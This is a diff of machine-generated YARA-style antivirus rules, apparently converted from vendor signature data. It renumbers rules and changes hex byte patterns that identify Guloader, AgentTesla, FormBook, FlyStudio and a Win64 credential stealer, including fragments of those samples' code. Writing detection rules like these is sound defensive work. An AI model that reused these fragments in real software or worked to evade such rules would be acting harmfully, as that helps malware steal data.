_InfrastructureShared_16362{ ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*14637) >=3 } -rule _InfrastructureShared_16363{ +rule _InfrastructureShared_17437{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -192301,7 +205145,7 @@ rule _InfrastructureShared_16363{ ((#a_70_0 & 1)*16675+(#a_6c_1 & 1)*14963+(#a_01_2 & 1)*27759) >=3 } -rule _InfrastructureShared_16364{ +rule _InfrastructureShared_17438{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -192313,7 +205157,7 @@ rule _InfrastructureShared_16364{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*28496+(#a_00_2 & 1)*115) >=3 } -rule _InfrastructureShared_16365{ +rule _InfrastructureShared_17439{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -192324,7 +205168,7 @@ rule _InfrastructureShared_16365{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*11014) >=3 } -rule _InfrastructureShared_16366{ +rule _InfrastructureShared_17440{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -192336,7 +205180,7 @@ rule _InfrastructureShared_16366{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*111+(#a_00_2 & 1)*87) >=3 } -rule _InfrastructureShared_16367{ +rule _InfrastructureShared_17441{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -192348,7 +205192,7 @@ rule _InfrastructureShared_16367{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*46+(#a_28_3 & 1)*-28625) >=3 } -rule _InfrastructureShared_16368{ +rule _InfrastructureShared_17442{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -192360,7 +205204,7 @@ rule _InfrastructureShared_16368{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*58+(#a_00_3 & 1)*110) >=3 } -rule _InfrastructureShared_16369{ +rule _InfrastructureShared_17443{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 21 " @@ -192372,7 +205216,7 @@ rule _InfrastructureShared_16369{ ((#a_54_0 & 1)*18467+(#a_83_1 & 1)*-14717+(#a_e8_2 & 1)*-455) >=4 } -rule _InfrastructureShared_16370{ +rule _InfrastructureShared_17444{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -192385,7 +205229,7 @@ rule _InfrastructureShared_16370{ ((#a_46_0 & 1)*16675+(#a_75_1 & 1)*29541+(#a_81_2 & 1)*1+(#a_07_3 & 1)*0) >=4 } -rule _InfrastructureShared_16371{ +rule _InfrastructureShared_17445{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -192397,7 +205241,7 @@ rule _InfrastructureShared_16371{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*29811+(#a_00_3 & 1)*73) >=4 } -rule _InfrastructureShared_16372{ +rule _InfrastructureShared_17446{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 09 00 21 " @@ -192414,7 +205258,7 @@ rule _InfrastructureShared_16372{ ((#a_46_0 & 1)*21283+(#a_70_1 & 1)*29296+(#a_72_2 & 1)*30209+(#a_6b_3 & 1)*28482+(#a_6c_4 & 1)*29555+(#a_69_5 & 1)*25441+(#a_73_6 & 1)*29793+(#a_20_7 & 1)*26736) >=4 } -rule _InfrastructureShared_16373{ +rule _InfrastructureShared_17447{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -192425,7 +205269,7 @@ rule _InfrastructureShared_16373{ ((#a_54_0 & 1)*18467+(#a_00_3 & 1)*0) >=5 } -rule _InfrastructureShared_16374{ +rule _InfrastructureShared_17448{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -192439,7 +205283,7 @@ rule _InfrastructureShared_16374{ ((#a_5f_0 & 1)*25635+(#a_57_1 & 1)*29295+(#a_65_2 & 1)*24931+(#a_74_3 & 1)*30049+(#a_3b_4 & 1)*26926) >=5 } -rule _InfrastructureShared_16375{ +rule _InfrastructureShared_17449{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -192453,7 +205297,7 @@ rule _InfrastructureShared_16375{ ((#a_5f_0 & 1)*25635+(#a_81_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_07_4 & 1)*0) >=5 } -rule _InfrastructureShared_16376{ +rule _InfrastructureShared_17450{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -192463,28 +205307,39 @@ rule _InfrastructureShared_16376{ $a_4c_2 = {61 64 00 46 6f 72 6d 38 5f 4c 6f 61 64 00 46 6f 72 6d 39 5f 4c 6f 61 64 01 00 32 01 00 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 00 49 6e 76 6f 6b 65 00 53 75 73 70 65 6e 64 4c 61 79 6f 75 74 00 73 65 74 5f 41 6c 6c 6f 77 44 72 6f 70 01 00 22 01 00 47 65 74 50 61 79 6c 6f 61 64 00 4d } //14189 $a_00_3 = {53 79 73 74 65 6d 2e 52 65 73 6f 75 72 63 65 73 00 01 00 23 01 53 79 73 74 65 6d 2e 52 65 73 6f 75 72 63 65 73 2e 52 75 6e 74 69 6d 65 52 65 73 6f 75 72 63 65 53 65 74 00 00 78 07 01 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 56 42 54 30 31 21 4d 54 42 00 01 00 21 81 01 5c 53 6b 61 } //26977 $a_72_4 = {61 6c 61 74 73 37 35 5c 75 64 73 70 61 72 69 6e 67 65 6e 73 2e 6d 6f 6b 01 00 19 81 01 45 6c 66 65 6e 62 65 6e 73 74 61 61 72 6e 65 32 32 37 5c 62 61 6c 65 65 6e 01 00 1d 81 01 37 5c 50 75 6c 73 61 74 65 32 32 30 5c 67 61 72 6e 65 72 69 6e 67 65 72 73 2e 72 69 6e 01 00 29 81 01 25 63 69 63 61 74 72 69 7a 61 6e 74 25 5c 61 6e 6c 67 73 67 61 72 74 6e 65 72 69 5c } //25708 - $a_6c_5 = {64 65 72 73 2e 68 6e 64 01 00 19 81 01 5c 6f 74 74 65 74 69 6d 65 72 73 64 61 67 5c 6b 61 73 73 65 74 74 65 6e 73 01 00 0b 81 01 73 74 61 62 69 6c 69 73 65 72 73 01 00 17 81 01 62 69 65 72 68 76 65 72 76 65 74 73 20 67 75 69 6c 65 73 2e 65 78 65 00 00 78 07 01 00 09 00 09 00 09 00 21 23 41 4c 46 3a 54 72 6f } //24934 + $a_6c_5 = {64 65 72 73 2e 68 6e 64 01 00 19 81 01 5c 6f 74 74 65 74 69 6d 65 72 73 64 61 67 5c 6b 61 73 73 65 74 74 65 6e 73 01 00 0b 81 01 73 74 61 62 69 6c 69 73 65 72 73 01 00 17 81 01 62 69 65 72 68 76 65 72 76 65 74 73 20 67 75 69 6c 65 73 2e 65 78 65 00 00 78 07 01 00 08 00 08 00 03 00 21 23 41 4c 46 3a 54 72 6f } //24934 condition: ((#a_54_0 & 1)*18467+(#a_46_1 & 1)*8192+(#a_4c_2 & 1)*14189+(#a_00_3 & 1)*26977+(#a_72_4 & 1)*25708+(#a_6c_5 & 1)*24934) >=6 } -rule _InfrastructureShared_16377{ +rule _InfrastructureShared_17451{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 56 42 54 30 31 21 4d 54 42 00 01 00 21 81 01 5c 53 6b 61 6c 64 79 72 73 61 6c 61 74 73 37 35 5c 75 64 73 70 61 72 69 6e 67 65 6e 73 2e 6d 6f 6b 01 00 19 81 01 45 6c 66 65 6e 62 65 6e 73 74 61 61 72 } //18467 $a_32_1 = {5c 62 61 6c 65 65 6e 01 00 1d 81 01 37 5c 50 75 6c 73 61 74 65 32 32 30 5c 67 61 72 6e 65 72 69 6e 67 65 72 73 2e 72 69 6e 01 00 29 81 01 25 63 69 63 } //25966 - $a_69_2 = {61 6e 74 25 5c 61 6e 6c 67 73 67 61 72 74 6e 65 72 69 5c 66 61 67 6c 65 64 65 72 73 2e 68 6e 64 01 00 19 81 01 5c 6f 74 74 65 74 69 6d 65 72 73 64 61 67 5c 6b 61 73 73 65 74 74 65 6e 73 01 00 0b 81 01 73 74 61 62 69 6c 69 73 65 72 73 01 00 17 81 01 62 69 65 72 68 76 65 72 76 65 74 73 20 67 75 69 6c 65 73 2e 65 78 65 00 00 78 07 01 00 09 00 } //29793 - $a_00_3 = {21 23 41 4c 46 3a 54 72 6f } //9 !#ALF:Tro - $a_3a_4 = {69 6e 33 32 2f 46 6c 79 53 74 75 64 69 6f 2e 4b 42 21 4d 54 42 00 01 00 2b 03 41 ff ff ff 81 90 01 01 3f ff ff ff c1 90 01 01 0a 81 90 01 01 ff 01 00 00 81 90 01 01 ff 01 00 00 81 90 01 01 ff 7f 00 00 90 00 01 00 23 03 75 50 80 7c 90 01 02 64 75 49 80 7c 90 01 02 6f 75 42 80 7c 90 01 02 62 75 3b 80 7c 90 01 02 65 75 90 00 01 00 } //24938 - $a_c1_5 = {e8 90 01 01 c1 e1 90 01 01 0b c1 90 00 01 00 0b 00 66 64 20 75 79 39 64 24 24 7d 73 01 00 16 00 74 00 65 00 78 00 74 00 69 00 6e 00 63 00 6c 00 75 00 64 00 65 00 01 00 0b 00 3b 74 24 78 75 22 3b 5c 24 5c 75 01 00 0b 00 66 64 40 75 6c 39 6c 24 28 7d 66 01 00 13 00 57 72 69 74 65 50 72 6f 63 65 73 73 4d 65 6d 6f 72 79 00 01 00 0f 00 56 69 72 74 75 61 6c 41 6c 6c 6f 63 45 78 00 00 00 78 07 01 00 09 00 09 00 09 00 21 } //784 - $a_54_6 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 57 30 32 39 21 4d 54 42 00 01 00 0e 81 01 54 72 61 6e 73 66 6f 72 6d 42 6c 6f 63 6b 01 00 0f 81 01 43 72 65 61 74 65 45 6e 63 72 79 70 74 6f 72 01 00 0e 81 01 54 6f 42 } //18467 + $a_69_2 = {61 6e 74 25 5c 61 6e 6c 67 73 67 61 72 74 6e 65 72 69 5c 66 61 67 6c 65 64 65 72 73 2e 68 6e 64 01 00 19 81 01 5c 6f 74 74 65 74 69 6d 65 72 73 64 61 67 5c 6b 61 73 73 65 74 74 65 6e 73 01 00 0b 81 01 73 74 61 62 69 6c 69 73 65 72 73 01 00 17 81 01 62 69 65 72 68 76 65 72 76 65 74 73 20 67 75 69 6c 65 73 2e 65 78 65 00 00 78 07 01 00 08 00 } //29793 + $a_00_3 = {21 23 41 } //8 !#A + $a_54_4 = {6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 74 65 61 6c 65 72 2e 50 41 42 21 4d 54 42 00 04 00 55 01 89 45 0c 66 89 4d 10 c7 45 d0 68 00 00 00 48 8b 95 a0 04 00 00 48 8d 85 c0 04 00 } //17996 + $a_44_5 = {48 48 8d 45 d0 48 89 44 24 40 48 89 74 24 38 48 8b 85 b0 04 00 00 48 89 44 24 30 89 5c 24 28 c7 44 24 20 01 00 00 00 48 8b 8d 48 05 00 00 45 31 c0 45 31 c9 e8 02 00 49 01 c6 84 24 5c 01 00 00 00 83 64 24 4c 00 48 8d 44 24 4c 48 89 44 24 30 48 8d 84 24 d0 00 00 00 48 89 44 24 20 48 83 64 24 38 00 c7 44 24 28 0c 00 00 00 48 89 d9 ba 00 14 2d 00 4c 8d 84 24 54 01 00 00 41 b9 0c 00 00 00 e8 02 00 32 01 41 89 c4 } //18432 + $a_18_6 = {f2 c1 ea 08 89 f5 44 21 d5 44 31 e5 41 33 14 a9 83 ce 03 89 f5 83 e5 fe 0f af ee c1 ed 08 44 30 dd 40 88 2c 0f 48 ff c1 89 d6 00 00 78 07 01 00 09 00 09 00 09 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 6c 79 53 74 75 64 69 6f 2e 4b 42 21 4d 54 42 00 01 00 2b 03 41 ff ff ff 81 90 01 01 3f ff ff ff c1 90 01 01 0a 81 90 01 01 ff 01 00 00 81 90 01 01 ff 01 00 00 81 90 01 01 ff 7f 00 00 90 00 01 00 23 03 75 50 80 7c 90 01 02 64 75 49 80 7c 90 01 02 6f 75 42 80 7c 90 01 02 62 75 3b 80 7c 90 01 02 65 75 90 00 01 00 10 03 8b c1 c1 e8 90 01 01 c1 e1 90 01 01 0b c1 90 00 01 00 0b 00 66 64 20 75 79 39 64 24 24 7d 73 01 00 16 00 74 00 65 00 78 00 74 00 69 00 6e 00 63 00 6c 00 75 00 64 00 65 } //-16063 condition: - ((#a_54_0 & 1)*18467+(#a_32_1 & 1)*25966+(#a_69_2 & 1)*29793+(#a_00_3 & 1)*9+(#a_3a_4 & 1)*24938+(#a_c1_5 & 1)*784+(#a_54_6 & 1)*18467) >=7 + ((#a_54_0 & 1)*18467+(#a_32_1 & 1)*25966+(#a_69_2 & 1)*29793+(#a_00_3 & 1)*8+(#a_54_4 & 1)*17996+(#a_44_5 & 1)*18432+(#a_18_6 & 1)*-16063) >=7 } -rule _InfrastructureShared_16378{ +rule _InfrastructureShared_17452{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 74 65 61 6c 65 72 2e 50 41 42 21 4d 54 42 00 04 00 55 01 89 45 0c 66 89 4d 10 c7 45 d0 68 00 00 00 48 8b 95 a0 04 00 00 48 8d 85 c0 04 00 00 48 89 44 24 48 48 8d 45 d0 48 89 44 24 40 48 } //16675 + $a_38_1 = {8b 85 b0 04 00 00 48 89 44 24 30 89 5c 24 28 c7 44 24 20 01 00 00 00 48 8b 8d 48 05 00 00 45 31 c0 45 31 c9 } //29833 + condition: + ((#a_46_0 & 1)*16675+(#a_38_1 & 1)*29833) >=8 + +} +rule _InfrastructureShared_17453{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -192500,7 +205355,7 @@ rule _InfrastructureShared_16378{ ((#a_46_0 & 1)*16675+(#a_7c_2 & 1)*20597+(#a_72_3 & 1)*25972+(#a_00_4 & 1)*21581+(#a_65_5 & 1)*19819+(#a_72_6 & 1)*25670+(#a_00_7 & 1)*25697) >=9 } -rule _InfrastructureShared_16379{ +rule _InfrastructureShared_17454{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -192518,7 +205373,7 @@ rule _InfrastructureShared_16379{ ((#a_54_0 & 1)*18467+(#a_36_1 & 1)*29537+(#a_6b_2 & 1)*25415+(#a_74_3 & 1)*28777+(#a_70_4 & 1)*29283+(#a_00_5 & 1)*9+(#a_6a_6 & 1)*29268+(#a_72_7 & 1)*26994+(#a_6d_8 & 1)*29300) >=9 } -rule _InfrastructureShared_16380{ +rule _InfrastructureShared_17455{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -192536,7 +205391,7 @@ rule _InfrastructureShared_16380{ ((#a_54_0 & 1)*18467+(#a_47_1 & 1)*-32503+(#a_65_2 & 1)*25167+(#a_42_3 & 1)*17473+(#a_33_4 & 1)*26967+(#a_65_5 & 1)*23667+(#a_61_6 & 1)*29295+(#a_6c_7 & 1)*29804+(#a_81_8 & 1)*1) >=9 } -rule _InfrastructureShared_16381{ +rule _InfrastructureShared_17456{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -192553,7 +205408,7 @@ rule _InfrastructureShared_16381{ ((#a_54_0 & 1)*18467+(#a_65_2 & 1)*385+(#a_01_3 & 1)*2048+(#a_6c_4 & 1)*29804+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1) >=9 } -rule _InfrastructureShared_16382{ +rule _InfrastructureShared_17457{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -192565,13 +205420,13 @@ rule _InfrastructureShared_16382{ $a_00_4 = {6f 00 72 00 65 00 72 00 20 00 64 00 65 00 6c 00 65 00 74 00 65 00 64 00 2c 00 66 00 6f 00 72 00 20 00 63 00 6c 00 6f 00 73 00 69 00 6e 00 67 00 20 00 74 00 61 00 62 00 00 00 01 00 18 01 54 00 61 00 62 00 20 00 43 00 6c 00 6f 00 73 00 65 00 64 00 3a 00 00 00 00 00 03 00 78 07 01 00 0a 00 0a 00 0a 00 21 23 41 4c 46 3a 54 72 } //112 $a_6e_5 = {4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 41 21 4d 54 42 00 01 00 20 81 01 4d 61 74 72 69 78 5f 47 72 61 70 68 2e 47 72 61 70 68 46 6f 72 6d 2e 72 65 73 6f 75 72 63 65 73 01 00 2b 81 01 4d 61 74 72 69 78 5f 47 72 61 70 68 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 } //27247 $a_72_6 = {73 6f 75 72 63 65 73 01 00 07 81 01 47 65 74 54 79 70 65 01 00 09 81 01 47 65 74 4d 65 74 68 6f 64 01 00 0f 81 01 4f 66 66 73 65 74 4d 61 } //29541 - $a_61_7 = {65 72 01 00 07 81 01 52 65 70 6c 61 63 65 01 00 1b 81 01 4d 65 74 72 6f 46 72 61 6d 65 77 6f 72 6b 2e 4d 65 74 72 6f 5f 42 75 74 74 6f 6e 01 00 0d 81 01 52 65 74 75 72 6e 4d 65 73 73 61 67 65 01 00 09 81 01 47 65 74 44 6f 6d 61 69 6e 01 00 06 81 01 49 6e 76 6f 6b 65 00 00 78 07 01 00 0b 00 0b 00 0b 00 21 23 48 } //29554 - $a_3a_8 = {72 6f 6a 61 6e 3a 4d 53 49 4c 2f 46 6f 72 6d 42 6f 6f 6b 2e 50 52 45 5a 31 31 35 30 21 4d 54 42 00 01 00 14 81 01 62 37 59 4e 65 38 6d 36 4d 4a 7a 34 31 44 6b 4c 69 32 6a 33 01 00 06 81 01 54 6f 42 79 74 65 01 00 08 81 01 54 6f 53 74 72 69 6e 67 } //21587 + $a_61_7 = {65 72 01 00 07 81 01 52 65 70 6c 61 63 65 01 00 1b 81 01 4d 65 74 72 6f 46 72 61 6d 65 77 6f 72 6b 2e 4d 65 74 72 6f 5f 42 75 74 74 6f 6e 01 00 0d 81 01 52 65 74 75 72 6e 4d 65 73 73 61 67 65 01 00 09 81 01 47 65 74 44 6f 6d 61 69 6e 01 00 06 81 01 49 6e 76 6f 6b 65 00 00 78 07 01 00 0a 00 0a 00 0a 00 21 23 48 } //29554 + $a_3a_8 = {72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 53 4c 21 4d 54 42 00 01 00 0f 81 01 5c 74 69 6c 67 69 76 65 6c 73 65 2e 7a 69 70 01 00 12 81 01 5c 64 6f 62 62 65 6c 74 73 6c 65 62 65 74 2e 69 6e 69 01 00 13 81 01 43 6f 6e 73 75 } //21587 condition: ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*29285+(#a_01_2 & 1)*30063+(#a_6b_3 & 1)*28503+(#a_00_4 & 1)*112+(#a_6e_5 & 1)*27247+(#a_72_6 & 1)*29541+(#a_61_7 & 1)*29554+(#a_3a_8 & 1)*21587) >=9 } -rule _InfrastructureShared_16383{ +rule _InfrastructureShared_17458{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 04 00 21 " @@ -192583,26 +205438,42 @@ rule _InfrastructureShared_16383{ ((#a_41_0 & 1)*20515+(#a_00_1 & 1)*98+(#a_00_3 & 1)*118) >=10 } -rule _InfrastructureShared_16384{ +rule _InfrastructureShared_17459{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 41 21 4d 54 42 00 01 00 20 81 01 4d 61 74 72 69 78 5f 47 72 61 70 68 2e 47 72 61 70 68 46 6f 72 6d 2e 72 65 73 6f 75 72 63 65 73 01 00 2b 81 01 4d 61 74 } //16675 $a_5f_1 = {72 61 70 68 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 07 81 01 47 65 74 54 79 70 65 01 00 09 81 01 47 65 74 4d 65 74 68 6f 64 01 00 0f 81 01 4f 66 66 73 65 74 4d 61 72 73 68 61 6c 65 72 01 00 07 81 01 52 65 70 6c 61 63 65 01 00 1b 81 01 4d 65 74 72 6f 46 72 61 6d 65 77 6f 72 6b 2e 4d 65 74 72 6f 5f 42 } //26994 - $a_6f_2 = {01 00 0d 81 01 52 65 74 75 72 6e 4d 65 73 73 61 67 65 01 00 09 81 01 47 65 74 44 6f 6d 61 69 6e 01 00 06 81 01 49 6e 76 6f 6b 65 00 00 78 07 01 00 0b 00 0b 00 0b 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 46 6f 72 6d 42 6f 6f 6b 2e 50 52 45 5a 31 31 35 30 21 4d 54 42 00 01 00 14 81 01 62 37 59 4e 65 38 6d 36 4d 4a 7a 34 31 44 6b } //29813 - $a_6a_3 = {01 00 06 81 01 54 6f 42 79 74 65 01 00 08 81 01 54 6f 53 74 72 69 6e 67 01 00 0a 81 01 47 65 74 4d 65 74 68 6f 64 73 01 00 0f 81 01 49 6e 69 74 69 61 } //26956 - $a_65_4 = {72 72 61 79 01 00 07 81 01 54 6f 41 72 72 61 79 01 00 13 81 01 47 65 74 43 75 72 72 65 6e 74 44 69 72 65 63 74 6f 72 79 01 00 0e 81 01 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 01 00 0a 81 01 50 72 6f 70 75 6c 73 69 6f 6e 01 00 0d 81 01 54 65 72 72 61 69 6e 41 63 74 69 6f 6e 01 00 25 81 01 24 39 35 61 30 36 33 62 33 2d 38 37 33 34 2d 34 32 38 61 2d 61 39 37 35 2d } //26988 - $a_37_5 = {33 34 34 30 36 61 37 00 00 78 07 01 00 0d 00 0d 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 54 6e 65 67 61 2e 52 52 52 21 4d 54 42 00 0a 00 5d 03 25 16 } //12902 - $a_02_6 = {04 06 9d 6f 90 02 04 0a 0a 00 06 13 0a 16 13 0b 2b 66 11 0a 11 0b 9a 13 0c 00 11 0c 6f 90 02 04 0a 16 fe 01 13 0d 11 0d 2c 02 2b 46 11 0c 28 90 02 04 06 28 90 02 04 0a 13 0e 11 0e 2c 02 2b 32 00 00 02 7b 90 02 03 04 11 0c 28 90 02 04 0a d2 6f 90 02 04 0a 90 00 0a 00 54 03 25 16 02 28 90 02 03 06 9d 6f 90 02 04 0a 0a 00 06 13 08 16 13 09 2b 66 11 08 11 09 9a 13 0a 00 11 0a 6f 90 02 04 16 fe 01 13 0b 11 0b 2c 02 2b 46 11 0a 28 90 } //10242 - $a_90_7 = {04 13 0c 11 0c 2c 02 2b 32 00 00 02 7b 90 02 04 11 0a 28 90 02 04 d2 6f 90 00 01 00 0e 01 44 6f 77 6e 6c 6f 61 64 53 74 } //1026 - $a_67_8 = {00 05 01 52 65 67 65 78 01 00 0c 01 53 79 6e 63 68 72 6f 6e 69 7a 65 64 00 00 78 07 01 00 1b 00 1b 00 09 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 49 59 21 4d 54 42 00 0a 00 37 02 0a 02 17 8d 90 01 04 25 16 1f 20 9d 6f 90 01 04 0b 07 0c 16 0d 90 01 02 08 09 9a 13 04 06 11 04 } //26994 - $a_90_9 = {04 d1 6f 90 01 04 26 09 17 58 0d 09 08 8e 69 32 90 00 0a 00 1e 02 a2 25 17 20 00 01 00 00 8c 90 01 04 a2 25 1a 07 a2 14 } //4127 + $a_6f_2 = {01 00 0d 81 01 52 65 74 75 72 6e 4d 65 73 73 61 67 65 01 00 09 81 01 47 65 74 44 6f 6d 61 69 6e 01 00 06 81 01 49 6e 76 6f 6b 65 00 00 78 07 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 53 4c 21 4d 54 42 00 01 00 0f 81 01 5c 74 69 6c 67 69 76 65 6c 73 65 2e 7a 69 70 01 00 12 81 } //29813 + $a_6f_3 = {62 65 6c 74 73 6c 65 62 65 74 2e 69 6e 69 01 00 13 81 01 43 6f 6e 73 75 6d 6d 61 74 69 76 65 31 32 31 2e 6b 61 6d 01 00 15 81 01 43 6f 75 6e 74 65 72 73 69 67 6e 61 74 75 72 65 73 2e 69 6e 69 01 00 0f 81 01 47 65 73 74 75 73 73 65 6e 31 33 2e 69 6e 69 01 00 0f 81 01 65 66 74 65 72 73 6b 72 69 76 65 } //23553 + $a_67_4 = {00 0e 81 01 69 6e 64 6d 65 6c 64 69 6e 67 2e 74 78 74 01 00 11 81 01 6f 70 6b 61 6c 64 73 66 6f 72 73 67 73 2e 69 6e 69 01 00 11 81 01 73 74 61 74 73 72 65 74 73 6c 69 67 65 2e 74 78 74 01 00 11 81 01 74 65 61 6b 74 72 73 62 6f 72 64 65 74 2e 74 78 74 00 00 78 07 01 00 0b 00 0b 00 0b 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 } //27182 + $a_46_5 = {72 6d 42 6f 6f 6b 2e 50 52 45 5a 31 31 35 30 21 4d 54 42 00 01 00 14 81 01 62 37 59 4e 65 38 6d 36 4d 4a 7a 34 31 44 6b 4c 69 32 6a 33 01 00 } //19529 + $a_54_6 = {42 } //-32506 B + $a_01_7 = {00 08 81 01 54 6f 53 74 72 69 6e 67 01 00 0a 81 01 47 65 74 4d 65 74 68 6f 64 73 01 00 0f 81 01 49 6e 69 74 69 61 6c 69 7a 65 41 72 72 61 79 01 00 07 81 01 54 6f 41 72 72 61 79 01 00 13 81 01 47 65 74 43 75 72 72 65 6e 74 44 69 72 65 63 74 6f 72 79 01 00 0e 81 01 43 72 65 61 74 65 49 6e 73 74 61 6e 63 } //29817 + $a_72_9 = {70 75 6c 73 69 6f 6e 01 00 0d 81 01 54 65 72 72 61 69 6e 41 63 74 69 6f 6e 01 00 25 81 01 24 39 35 61 30 36 33 62 33 2d 38 37 33 34 2d 34 32 38 61 2d 61 39 37 35 2d 66 32 34 37 34 33 34 34 30 36 61 37 00 00 78 07 01 00 0d 00 0d 00 05 00 21 } //385 condition: - ((#a_46_0 & 1)*16675+(#a_5f_1 & 1)*26994+(#a_6f_2 & 1)*29813+(#a_6a_3 & 1)*26956+(#a_65_4 & 1)*26988+(#a_37_5 & 1)*12902+(#a_02_6 & 1)*10242+(#a_90_7 & 1)*1026+(#a_67_8 & 1)*26994+(#a_90_9 & 1)*4127) >=10 + ((#a_46_0 & 1)*16675+(#a_5f_1 & 1)*26994+(#a_6f_2 & 1)*29813+(#a_6f_3 & 1)*23553+(#a_67_4 & 1)*27182+(#a_46_5 & 1)*19529+(#a_54_6 & 1)*-32506+(#a_01_7 & 1)*29817+(#a_72_9 & 1)*385) >=10 } -rule _InfrastructureShared_16385{ +rule _InfrastructureShared_17460{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 53 4c 21 4d 54 42 00 01 00 0f 81 01 5c 74 69 6c 67 69 76 65 6c 73 65 2e 7a 69 70 01 00 12 81 01 5c 64 6f 62 62 65 6c 74 73 6c 65 62 65 74 2e 69 6e 69 01 00 13 81 01 43 6f 6e 73 } //18467 + $a_61_1 = {69 76 65 31 32 31 2e 6b 61 6d 01 00 15 81 01 43 6f 75 6e 74 65 72 73 69 67 6e 61 74 75 72 65 73 2e 69 6e 69 01 00 0f 81 01 47 65 73 74 75 73 73 65 6e 31 33 2e 69 6e 69 01 00 0f 81 01 65 66 74 65 72 73 6b 72 69 76 65 2e 6a 70 67 01 00 0e 81 01 69 6e 64 6d 65 6c 64 69 6e 67 2e 74 78 74 01 00 11 81 01 6f 70 6b 61 6c 64 73 66 6f } //28021 + $a_73_2 = {69 6e 69 01 00 11 81 01 73 74 61 74 73 72 65 74 73 6c 69 67 65 2e 74 78 74 01 00 11 81 01 74 65 61 6b 74 72 73 62 6f 72 64 65 74 2e 74 78 74 00 00 78 07 01 00 0b 00 0b 00 0b 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 